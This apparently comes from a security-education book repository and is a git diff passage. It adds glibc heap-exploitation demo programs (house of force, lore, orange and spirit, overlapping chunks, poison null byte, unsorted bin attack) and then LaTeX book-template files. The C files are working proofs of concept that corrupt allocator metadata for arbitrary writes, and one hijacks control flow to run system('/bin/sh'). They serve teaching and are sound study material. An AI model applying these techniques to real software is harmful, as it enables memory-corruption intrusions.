fake_chunk[5] = (size_t) fake_chunk;
|
||||
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
|
||||
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
|
||||
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
|
||||
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
|
||||
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
|
||||
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
|
||||
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
|
||||
|
||||
b = (uint8_t*) malloc(0xf8);
|
||||
int real_b_size = malloc_usable_size(b);
|
||||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
|
||||
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
|
||||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||
a[real_a_size] = 0;
|
||||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||
|
||||
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
|
||||
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
|
||||
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
|
||||
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
|
||||
|
||||
fake_chunk[1] = fake_size;
|
||||
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
|
||||
|
||||
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
|
||||
free(b);
|
||||
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
|
||||
|
||||
d = malloc(0x10);
|
||||
memset(d, 'A', 0x10);
|
||||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||||
}
|
39
src/Others/3.3.5_heap_exploit/house_of_force.c
Normal file
39
src/Others/3.3.5_heap_exploit/house_of_force.c
Normal file
@ -0,0 +1,39 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
char bss_var[] = "This is a string that we want to overwrite.";
|
||||
|
||||
int main() {
|
||||
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
|
||||
|
||||
intptr_t *p1 = malloc(0x10);
|
||||
int real_size = malloc_usable_size(p1);
|
||||
memset(p1, 'A', real_size);
|
||||
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
|
||||
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
|
||||
|
||||
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
|
||||
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
|
||||
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
ptr_top[0] = -1;
|
||||
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
|
||||
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
|
||||
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
|
||||
void *new_ptr = malloc(evil_size);
|
||||
int real_size_new = malloc_usable_size(new_ptr);
|
||||
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
|
||||
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
|
||||
|
||||
void* ctr_chunk = malloc(0x30);
|
||||
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
|
||||
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
|
||||
|
||||
fprintf(stderr, "old string: %s\n", bss_var);
|
||||
strcpy(ctr_chunk, "YEAH!!!");
|
||||
fprintf(stderr, "new string: %s\n", bss_var);
|
||||
}
|
47
src/Others/3.3.5_heap_exploit/house_of_lore.c
Normal file
47
src/Others/3.3.5_heap_exploit/house_of_lore.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
void jackpot(){ puts("Nice jump d00d"); exit(0); }
|
||||
|
||||
int main() {
|
||||
intptr_t *victim = malloc(0x80);
|
||||
memset(victim, 'A', 0x80);
|
||||
void *p5 = malloc(0x10);
|
||||
memset(p5, 'A', 0x10);
|
||||
intptr_t *victim_chunk = victim - 2;
|
||||
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
|
||||
|
||||
intptr_t* stack_buffer_1[4] = {0};
|
||||
intptr_t* stack_buffer_2[3] = {0};
|
||||
stack_buffer_1[0] = 0;
|
||||
stack_buffer_1[2] = victim_chunk;
|
||||
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
|
||||
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
|
||||
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
|
||||
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
|
||||
|
||||
free((void*)victim);
|
||||
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
|
||||
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
|
||||
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
|
||||
|
||||
void *p2 = malloc(0x100);
|
||||
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
|
||||
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
|
||||
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
|
||||
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
|
||||
|
||||
victim[1] = (intptr_t)stack_buffer_1;
|
||||
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
|
||||
|
||||
void *p3 = malloc(0x40);
|
||||
char *p4 = malloc(0x80);
|
||||
memset(p4, 'A', 0x10);
|
||||
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
|
||||
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
|
||||
|
||||
intptr_t sc = (intptr_t)jackpot;
|
||||
memcpy((p4+40), &sc, 8);
|
||||
}
|
40
src/Others/3.3.5_heap_exploit/house_of_orange.c
Normal file
40
src/Others/3.3.5_heap_exploit/house_of_orange.c
Normal file
@ -0,0 +1,40 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int winner (char *ptr);
|
||||
|
||||
int main() {
|
||||
char *p1, *p2;
|
||||
size_t io_list_all, *top;
|
||||
|
||||
p1 = malloc(0x400 - 0x10);
|
||||
|
||||
top = (size_t *) ((char *) p1 + 0x400 - 0x10);
|
||||
top[1] = 0xc01;
|
||||
|
||||
p2 = malloc(0x1000);
|
||||
io_list_all = top[2] + 0x9a8;
|
||||
top[3] = io_list_all - 0x10;
|
||||
|
||||
memcpy((char *) top, "/bin/sh\x00", 8);
|
||||
|
||||
top[1] = 0x61;
|
||||
|
||||
_IO_FILE *fp = (_IO_FILE *) top;
|
||||
fp->_mode = 0; // top+0xc0
|
||||
fp->_IO_write_base = (char *) 2; // top+0x20
|
||||
fp->_IO_write_ptr = (char *) 3; // top+0x28
|
||||
|
||||
size_t *jump_table = &top[12]; // controlled memory
|
||||
jump_table[3] = (size_t) &winner;
|
||||
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
|
||||
|
||||
malloc(1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int winner(char *ptr) {
|
||||
system(ptr);
|
||||
return 0;
|
||||
}
|
30
src/Others/3.3.5_heap_exploit/house_of_spirit.c
Normal file
30
src/Others/3.3.5_heap_exploit/house_of_spirit.c
Normal file
@ -0,0 +1,30 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
malloc(1);
|
||||
|
||||
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
|
||||
unsigned long long *a, *b;
|
||||
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
|
||||
|
||||
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
|
||||
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
|
||||
|
||||
fake_chunks[1] = 0x20; // the size
|
||||
fake_chunks[5] = 0x1234; // nextsize
|
||||
|
||||
fake_chunks[2] = 0x4141414141414141LL;
|
||||
fake_chunks[6] = 0x4141414141414141LL;
|
||||
|
||||
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
|
||||
a = &fake_chunks[2];
|
||||
|
||||
fprintf(stderr, "Freeing the overwritten pointer.\n");
|
||||
free(a);
|
||||
|
||||
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
|
||||
b = malloc(0x10);
|
||||
fprintf(stderr, "malloc(0x10): %p\n", b);
|
||||
b[0] = 0x4242424242424242LL;
|
||||
}
|
39
src/Others/3.3.5_heap_exploit/overlapping_chunks.c
Normal file
39
src/Others/3.3.5_heap_exploit/overlapping_chunks.c
Normal file
@ -0,0 +1,39 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
int main() {
|
||||
intptr_t *p1,*p2,*p3,*p4;
|
||||
|
||||
p1 = malloc(0x90 - 8);
|
||||
p2 = malloc(0x90 - 8);
|
||||
p3 = malloc(0x80 - 8);
|
||||
memset(p1, 'A', 0x90 - 8);
|
||||
memset(p2, 'A', 0x90 - 8);
|
||||
memset(p3, 'A', 0x80 - 8);
|
||||
fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
|
||||
fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
|
||||
|
||||
free(p2);
|
||||
fprintf(stderr, "Freeing the chunk p2\n");
|
||||
|
||||
int evil_chunk_size = 0x111;
|
||||
int evil_region_size = 0x110 - 8;
|
||||
*(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
|
||||
fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
|
||||
|
||||
p4 = malloc(evil_region_size);
|
||||
fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
|
||||
fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
|
||||
|
||||
fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
|
||||
memset(p4, 'B', 0xd0);
|
||||
fprintf(stderr, "p4 = %s\n", (char *)p4);
|
||||
fprintf(stderr, "p3 = %s\n", (char *)p3);
|
||||
|
||||
fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
|
||||
memset(p3, 'C', 0x50);
|
||||
fprintf(stderr, "p4 = %s\n", (char *)p4);
|
||||
fprintf(stderr, "p3 = %s\n", (char *)p3);
|
||||
}
|
50
src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c
Normal file
50
src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c
Normal file
@ -0,0 +1,50 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
|
||||
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
|
||||
int prev_in_use = 0x1;
|
||||
|
||||
p1 = malloc(0x10);
|
||||
p2 = malloc(0x80);
|
||||
p3 = malloc(0x80);
|
||||
p4 = malloc(0x80);
|
||||
p5 = malloc(0x10);
|
||||
real_size_p1 = malloc_usable_size(p1);
|
||||
real_size_p2 = malloc_usable_size(p2);
|
||||
real_size_p3 = malloc_usable_size(p3);
|
||||
real_size_p4 = malloc_usable_size(p4);
|
||||
real_size_p5 = malloc_usable_size(p5);
|
||||
memset(p1, 'A', real_size_p1);
|
||||
memset(p2, 'A', real_size_p2);
|
||||
memset(p3, 'A', real_size_p3);
|
||||
memset(p4, 'A', real_size_p4);
|
||||
memset(p5, 'A', real_size_p5);
|
||||
fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
|
||||
fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
|
||||
fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
|
||||
fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
|
||||
fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
|
||||
fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
|
||||
|
||||
free(p4);
|
||||
fprintf(stderr, "\nLet's free the chunk p4\n\n");
|
||||
|
||||
fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
|
||||
*(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
|
||||
|
||||
free(p2);
|
||||
|
||||
p6 = malloc(0x1b0 - 0x10);
|
||||
real_size_p6 = malloc_usable_size(p6);
|
||||
fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
|
||||
|
||||
fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
|
||||
fprintf(stderr, "p3 before = %s\n", (char *)p3);
|
||||
memset(p6, 'B', 0xd0);
|
||||
fprintf(stderr, "p3 after = %s\n", (char *)p3);
|
||||
}
|
68
src/Others/3.3.5_heap_exploit/poison_null_byte.c
Normal file
68
src/Others/3.3.5_heap_exploit/poison_null_byte.c
Normal file
@ -0,0 +1,68 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
uint8_t *a, *b, *c, *b1, *b2, *d;
|
||||
|
||||
a = (uint8_t*) malloc(0x10);
|
||||
int real_a_size = malloc_usable_size(a);
|
||||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
|
||||
fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
|
||||
|
||||
b = (uint8_t*) malloc(0x100);
|
||||
c = (uint8_t*) malloc(0x80);
|
||||
fprintf(stderr, "b: %p\n", b);
|
||||
fprintf(stderr, "c: %p\n", c);
|
||||
|
||||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||
*(size_t*)(b+0xf0) = 0x100;
|
||||
fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
|
||||
|
||||
// deal with tcache
|
||||
// int *k[10], i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// k[i] = malloc(0x100);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(k[i]);
|
||||
// }
|
||||
free(b);
|
||||
uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
|
||||
fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||
|
||||
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
|
||||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||
|
||||
fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
|
||||
b1 = malloc(0x80);
|
||||
memset(b1, 'A', 0x80);
|
||||
fprintf(stderr, "We malloc 'b1': %p\n", b1);
|
||||
fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||
fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
|
||||
|
||||
b2 = malloc(0x40);
|
||||
memset(b2, 'A', 0x40);
|
||||
fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
|
||||
|
||||
// deal with tcache
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// k[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(k[i]);
|
||||
// }
|
||||
free(b1);
|
||||
free(c);
|
||||
fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
|
||||
|
||||
d = malloc(0x110);
|
||||
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
|
||||
|
||||
fprintf(stderr, "b2 content:%s\n", b2);
|
||||
memset(d, 'B', 0xb0);
|
||||
fprintf(stderr, "New b2 content:%s\n", b2);
|
||||
}
|
@ -30,11 +30,11 @@ int main() {
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
|
20
src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c
Normal file
20
src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
unsigned long stack_var = 0;
|
||||
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||||
|
||||
unsigned long *p = malloc(0x80);
|
||||
unsigned long *p1 = malloc(0x10);
|
||||
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||||
|
||||
free(p);
|
||||
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
|
||||
|
||||
p[1] = (unsigned long)(&stack_var - 2);
|
||||
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
|
||||
|
||||
malloc(0x80);
|
||||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
18
tex/README.md
Normal file
18
tex/README.md
Normal file
@ -0,0 +1,18 @@
|
||||
# 一些使用Latex事项
|
||||
|
||||
* 使用开源Latex模板https://github.com/GGolbik/GGLaTeXBookTemplate,该模板为GPL 3.0 协议。具体使用,以该仓库的README为准。
|
||||
* 目前还在测试中,需各位仍以markdown写作为主。
|
||||
* 仅在Share Latex上测试,已经成功生成PDF文件于build目录(看上去还不错,细节有待打磨)
|
||||
|
||||
## 其他
|
||||
|
||||
### 字体
|
||||
|
||||
为了减小仓库体积,fonts文件夹下字体全为空文件,可以从以下地址下载并编译使用:
|
||||
|
||||
- NotoSansCJKsc
|
||||
- Source: [Google Noto Fonts](https://www.google.com/get/noto/#sans-hans)
|
||||
- License: [SIL Open Font License, Version 1.1](https://github.com/GGerry/GGLaTeXBookTemplate/blob/master/fonts/NotoSansCJKjp/LICENSE_OFL.txt)
|
||||
- Roboto
|
||||
- Source: [Google Fonts](https://fonts.google.com/specimen/Roboto?selection.family=Roboto)
|
||||
- License: [Apache License 2.0](https://github.com/GGerry/GGLaTeXBookTemplate/blob/master/fonts/Roboto/LICENSE.txt)
|
54
tex/base/abbreviations/abbreviations.tex
Normal file
54
tex/base/abbreviations/abbreviations.tex
Normal file
@ -0,0 +1,54 @@
|
||||
% add table of contents entry
|
||||
\addstarredchapter{\DICTAbbreviations}
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTAbbreviations}{\DICTAbbreviations}
|
||||
|
||||
\chapter*{\DICTAbbreviations}
|
||||
|
||||
% You can enter a short name between the abbreviation and the long form (for example, for I²C). This is necessary for mathematical characters, for example, since only normal characters may be used in the abbreviation. The corresponding call looks like usual: \ac{I2C}, the abbreviation I²C appears in the generated document.
|
||||
% After \begin{acronym} an expression can be specified in square brackets. After the length of this expression, the indentation of the abbreviations is set. In this case, it is recommended to use the longest abbreviation in order to obtain a uniform indentation for all abbreviations.
|
||||
|
||||
\begin{acronym}[Bash]
|
||||
\acro{KDE}{K Desktop Environment}
|
||||
\acro{SQL}{Structured Query Language}
|
||||
\acro{Bash}{Bourne-again shell}
|
||||
\end{acronym}
|
||||
|
||||
% Use in the text
|
||||
% Here are only the most important examples:
|
||||
|
||||
% Outputs the long form with the abbreviation in parentheses for the first use, from then on always the short form.
|
||||
%--------------------------------------
|
||||
% \ac{KDE} % K Desktop Environment (KDE)
|
||||
%--------------------------------------
|
||||
|
||||
% Returns the abbreviation.
|
||||
%--------------------------------------
|
||||
% \acs{KDE} % KDE
|
||||
%--------------------------------------
|
||||
|
||||
% Outputs the long and short form.
|
||||
%--------------------------------------
|
||||
% \acf{KDE} % K Desktop Environment (KDE)
|
||||
%--------------------------------------
|
||||
|
||||
% Only outputs the long form without the short form.
|
||||
%--------------------------------------
|
||||
% \acl{KDE} % K Desktop Environment
|
||||
%--------------------------------------
|
||||
|
||||
% Similar to the above commands, the plural can also be displayed accordingly:
|
||||
%--------------------------------------
|
||||
% \acp{KDE} % K Desktop Environments (KDEs)
|
||||
% \acsp{KDE} % KDEs
|
||||
% \acfp{KDE} % K Desktop Environments (KDEs)
|
||||
% \aclp{KDE} % K Desktop Environments
|
||||
%--------------------------------------
|
||||
|
||||
|
||||
% If the plural does not end at -s, you can set it with the following command:
|
||||
%--------------------------------------
|
||||
% \acrodefplural{VM}[VMs]{Virtuelle Maschinen}
|
||||
%--------------------------------------
|
||||
|
33
tex/base/appendix/appendix.tex
Normal file
33
tex/base/appendix/appendix.tex
Normal file
@ -0,0 +1,33 @@
|
||||
\RedeclareSectionCommand[tocnumwidth=6em]{section}
|
||||
\RedeclareSectionCommand[tocnumwidth=6.5em]{subsection}
|
||||
|
||||
\RedeclareSectionCommand[tocindent=0em]{section}
|
||||
\RedeclareSectionCommand[tocindent=2em]{subsection}
|
||||
|
||||
\addtocontents{toc}{\protect\setcounter{tocdepth}{0}}
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTAppendix}{\DICTAppendix}
|
||||
|
||||
\chapter*{\DICTAppendix}
|
||||
|
||||
\nomtcrule
|
||||
\mtcsettitle{minitoc}{\DICTTableOfAppendix}
|
||||
\setcounter{section}{0}
|
||||
|
||||
\addstarredchapter{\DICTAppendix}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGEnableTableOfAppendix}{true}}
|
||||
{
|
||||
\minitoc % minitoc-Ausgeben
|
||||
\newpage
|
||||
}{}
|
||||
|
||||
\renewcommand{\thesection}{\DICTAppendix~\Alph{section}}
|
||||
|
||||
% include appendix content
|
||||
%--------------------------------------
|
||||
\input{base/appendix/appendixcontent}
|
||||
%--------------------------------------
|
||||
|
||||
\addtocontents{toc}{\protect\setcounter{tocdepth}{3}}
|
7
tex/base/appendix/appendixcontent.tex
Normal file
7
tex/base/appendix/appendixcontent.tex
Normal file
@ -0,0 +1,7 @@
|
||||
% \section{Packed Objects Encoding tables}
|
||||
|
||||
% \subsection{Packed Objects Encoding tables}
|
||||
|
||||
% \section{Encoding Packed Objects}
|
||||
|
||||
% \section{Decoding Packed Objects}
|
18
tex/base/bibliography/bibliography.tex
Normal file
18
tex/base/bibliography/bibliography.tex
Normal file
@ -0,0 +1,18 @@
|
||||
% Use the below command to add references
|
||||
% \cite{name of reference}
|
||||
|
||||
% Required for table of contents
|
||||
\addstarredchapter{\DICTReferences}
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTReferences}{\DICTReferences}
|
||||
|
||||
% to avoid the warning: Overfull \hbox
|
||||
\emergencystretch=1em
|
||||
|
||||
% show all entries even the once which are not used
|
||||
%\nocite{*}
|
||||
|
||||
\printbibliography[title={\DICTReferences}
|
||||
%,heading=bibnumbered
|
||||
]
|
62
tex/base/bibliography/references.bib
Normal file
62
tex/base/bibliography/references.bib
Normal file
@ -0,0 +1,62 @@
|
||||
% You can find the documentation on ftp://ctan.tug.org/tex-archive/macros/latex/exptl/biblatex/doc/biblatex.pdf
|
||||
|
||||
% Article
|
||||
%
|
||||
% An article in a journal, magazine, newspaper, or other periodical which forms a
|
||||
% self-contained unit with its own title. The title of the periodical is given in the
|
||||
% journaltitle field. If the issue has its own title in addition to the main title of
|
||||
% the periodical, it goes in the issuetitle field. Note that editor and related
|
||||
% fields refer to the journal while translator and related fields refer to the article.
|
||||
|
||||
@article{exampleArticle,
|
||||
% Required fields:
|
||||
author = "Max Mustermann",
|
||||
title = "Mustertitle - Article",
|
||||
journaltitle = "Muster Journal",
|
||||
date = "2017-12-13",
|
||||
% Optional fields: see documentation
|
||||
}
|
||||
|
||||
% Book
|
||||
%
|
||||
% A single-volume book with one or more authors where the authors share credit for
|
||||
% the work as a whole. This entry type also covers the function of the @inbook type
|
||||
% of traditional BibTeX, see § 2.3.1 for details
|
||||
|
||||
@book{exampleBook,
|
||||
% Required fields:
|
||||
author = "Max Mustermann",
|
||||
title = "Mustertitle - Book",
|
||||
date = "2017-12-14",
|
||||
% Optional fields: see documentation
|
||||
}
|
||||
|
||||
% Manual
|
||||
%
|
||||
% Technical or other documentation, not necessarily in printed form. The author or
|
||||
% editor is omissible in terms of § 2.3.2.
|
||||
|
||||
@manual{exampleManual,
|
||||
% Required fields:
|
||||
author = "Max Mustermann",
|
||||
title = "Mustertitle - Manual",
|
||||
date = "2017-12-15",
|
||||
% Optional fields: see documentation
|
||||
}
|
||||
|
||||
% Online
|
||||
%
|
||||
% An online resource. author, editor, and year are omissible in terms of § 2.3.2.
|
||||
% This entry type is intended for sources such as web sites which are intrinsically
|
||||
% online resources. Note that all entry types support the url field. For example, when
|
||||
% adding an article from an online journal, it may be preferable to use the @article
|
||||
% type and its url field.
|
||||
|
||||
@online{exampleOnline,
|
||||
% Required fields:
|
||||
author = "Max Mustermann",
|
||||
title = "Mustertitle - Online",
|
||||
date = "2017-12-16",
|
||||
url = "http://example.url",
|
||||
% Optional fields: see documentation
|
||||
}
|
4
tex/base/copyright/EN.tex
Normal file
4
tex/base/copyright/EN.tex
Normal file
@ -0,0 +1,4 @@
|
||||
\begin{flushleft}
|
||||
\copyright~Copyright~\the\year~\DICTDocAuthor
|
||||
\end{flushleft}
|
||||
This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, such as by removing the copyright notice or references to the author or other organizations.
|
4
tex/base/copyright/ZH.tex
Normal file
4
tex/base/copyright/ZH.tex
Normal file
@ -0,0 +1,4 @@
|
||||
\begin{flushleft}
|
||||
\copyright~版权~\the\year~\DICTDocAuthor
|
||||
\end{flushleft}
|
||||
Creative Commons license (CC BY-SA 4.0)
|
5
tex/base/copyright/copyright.tex
Normal file
5
tex/base/copyright/copyright.tex
Normal file
@ -0,0 +1,5 @@
|
||||
\IfFileExists{base/copyright/\CONFIGLanguage}{
|
||||
\input{base/copyright/\CONFIGLanguage}
|
||||
}{
|
||||
Copyright: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage ``
|
||||
}
|
5
tex/base/disclaimer/EN.tex
Normal file
5
tex/base/disclaimer/EN.tex
Normal file
@ -0,0 +1,5 @@
|
||||
\begin{center}
|
||||
{\Large DISCLAIMER}
|
||||
\end{center}
|
||||
|
||||
This document and the information contained herein is provided on an “As Is” basis and the author disclaims all warranties, express or implied, including but not limited to any warranty that the use of the information herein will not infringe any rights or any implied warranties of merchantability or fitness for a particular purpose.
|
5
tex/base/disclaimer/ZH.tex
Normal file
5
tex/base/disclaimer/ZH.tex
Normal file
@ -0,0 +1,5 @@
|
||||
\begin{center}
|
||||
{\Large 声明}
|
||||
\end{center}
|
||||
|
||||
本书使用 Creative Commons license (CC BY-SA 4.0),大可随意使用。欢迎来本书的Github页面提交PR.
|
5
tex/base/disclaimer/disclaimer.tex
Normal file
5
tex/base/disclaimer/disclaimer.tex
Normal file
@ -0,0 +1,5 @@
|
||||
\IfFileExists{base/disclaimer/\CONFIGLanguage}{
|
||||
\input{base/disclaimer/\CONFIGLanguage}
|
||||
}{
|
||||
DISCLAIMER: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage ``
|
||||
}
|
88
tex/base/headerfooter/headerfooter.tex
Normal file
88
tex/base/headerfooter/headerfooter.tex
Normal file
@ -0,0 +1,88 @@
|
||||
%\ifthenelse{\equal{\CONFIGLanguage}{twoside}}
|
||||
% {\input{base/headerfooter/twoside}}
|
||||
